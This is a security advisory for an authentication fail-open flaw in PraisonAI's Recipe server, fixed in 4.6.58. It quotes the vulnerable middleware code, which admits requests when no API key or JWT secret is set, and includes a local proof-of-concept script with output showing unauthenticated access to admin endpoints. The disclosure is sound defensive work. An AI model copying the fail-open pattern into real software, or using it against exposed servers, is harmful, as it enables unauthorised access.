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GHSA-gfq8-hmph-9gjv CVE-2026-55533 PYSEC-2026-3889

PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret

High PyPI
Severity
8.2 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.49%
Chance of exploitation in the next 30 days. Higher than 41.87% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-287 Improper Authentication
CWE-306 Missing Authentication for Critical Function
Fix
4.6.58
Upgrade praisonai to this version or later

Description

Summary

The PraisonAI Recipe HTTP server silently allows unauthenticated requests when auth is configured as api-key or jwt but the corresponding secret is missing.

This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.

The issue is especially risky because the CLI safety check for non-localhost binding only verifies that auth != "none". It does not verify that an actual API key or JWT secret exists.

Details

The Recipe server documents the following authentication modes:

  • none
  • api-key
  • jwt

Relevant source locations:

  • src/praisonai/praisonai/recipe/serve.py
  • src/praisonai/praisonai/cli/features/recipe.py

In create_auth_middleware(), the API key middleware resolves the expected key as:

expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")

if not expected_key:
    # No key configured, allow request
    return await call_next(request)

This means auth: api-key does not enforce authentication if api_key / PRAISONAI_API_KEY is missing.

The JWT middleware has the same fail-open behavior:

secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
    return await call_next(request)

The auth middleware is still attached when auth is configured:

auth_type = config.get("auth")
if auth_type and auth_type != "none":
    auth_middleware = create_auth_middleware(
        auth_type,
        api_key=config.get("api_key"),
        jwt_secret=config.get("jwt_secret"),
    )
    if auth_middleware:
        middleware.append(Middleware(auth_middleware))

The CLI path makes this externally reachable in a misconfigured deployment. In cmd_serve, the non-localhost safety check only verifies that auth is not "none":

if host != "127.0.0.1" and host != "localhost" and auth == "none":
    self._print_error("Auth required for non-localhost binding. Use --auth api-key or --auth jwt")
    return self.EXIT_POLICY_DENIED

Therefore, this command passes the safety check:

praisonai recipe serve --host 0.0.0.0 --auth api-key

However, if no --api-key or PRAISONAI_API_KEY is configured, requests are still accepted without authentication.

Affected endpoints include:

  • POST /v1/recipes/run
  • POST /v1/recipes/stream
  • POST /v1/recipes/validate
  • optional POST /admin/reload when enable_admin is true

PoC

The following local PoC verifies that api-key and jwt authentication fail open when the corresponding secret is missing.

Run from the repository root with test dependencies installed:

python3 poc_recipe_auth_fail_open.py

poc_recipe_auth_fail_open.py:

import os
import sys
from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

# Ensure no secrets are present in the environment.
os.environ.pop("PRAISONAI_API_KEY", None)
os.environ.pop("PRAISONAI_JWT_SECRET", None)

from praisonai.recipe.serve import create_app

# api-key auth selected, but no key configured.
app_open = create_app({"auth": "api-key", "enable_admin": True})
client_open = TestClient(app_open)

print("api-key auth with missing key:")
print("GET /openapi.json:", client_open.get("/openapi.json").status_code)
print("POST /admin/reload:", client_open.post("/admin/reload").status_code)

# api-key auth selected with an actual key configured.
app_closed = create_app({
    "auth": "api-key",
    "api_key": "expected",
    "enable_admin": True,
})
client_closed = TestClient(app_closed)

print("\napi-key auth with configured key:")
print("missing key:", client_closed.post("/admin/reload").status_code)
print("wrong key:", client_closed.post(
    "/admin/reload",
    headers={"X-API-Key": "wrong"},
).status_code)
print("correct key:", client_closed.post(
    "/admin/reload",
    headers={"X-API-Key": "expected"},
).status_code)

# jwt auth selected, but no JWT secret configured.
app_jwt_open = create_app({"auth": "jwt"})
client_jwt_open = TestClient(app_jwt_open)

print("\njwt auth with missing secret:")
print("GET /openapi.json:", client_jwt_open.get("/openapi.json").status_code)

Observed output:

api-key auth with missing key:
GET /openapi.json: 200
POST /admin/reload: 200

api-key auth with configured key:
missing key: 401
wrong key: 401
correct key: 200

jwt auth with missing secret:
GET /openapi.json: 200

The important result is that auth=api-key without a configured key allows requests to protected endpoints, while the same endpoint correctly returns 401 when a key is configured and missing/wrong.

Impact

In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected api-key or jwt authentication.

This gives unauthenticated access to recipe execution endpoints such as:

  • POST /v1/recipes/run
  • POST /v1/recipes/stream

If admin endpoints are enabled, the attacker can also access:

  • POST /admin/reload

The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.6.58
4.6.58

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.6.58

pip
pip install --upgrade "praisonai>=4.6.58"
poetry
poetry add "praisonai>=4.6.58"
uv
uv add "praisonai>=4.6.58"

Severity breakdown

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

Weakness

CWE-287: Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

How to prevent it
  • Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
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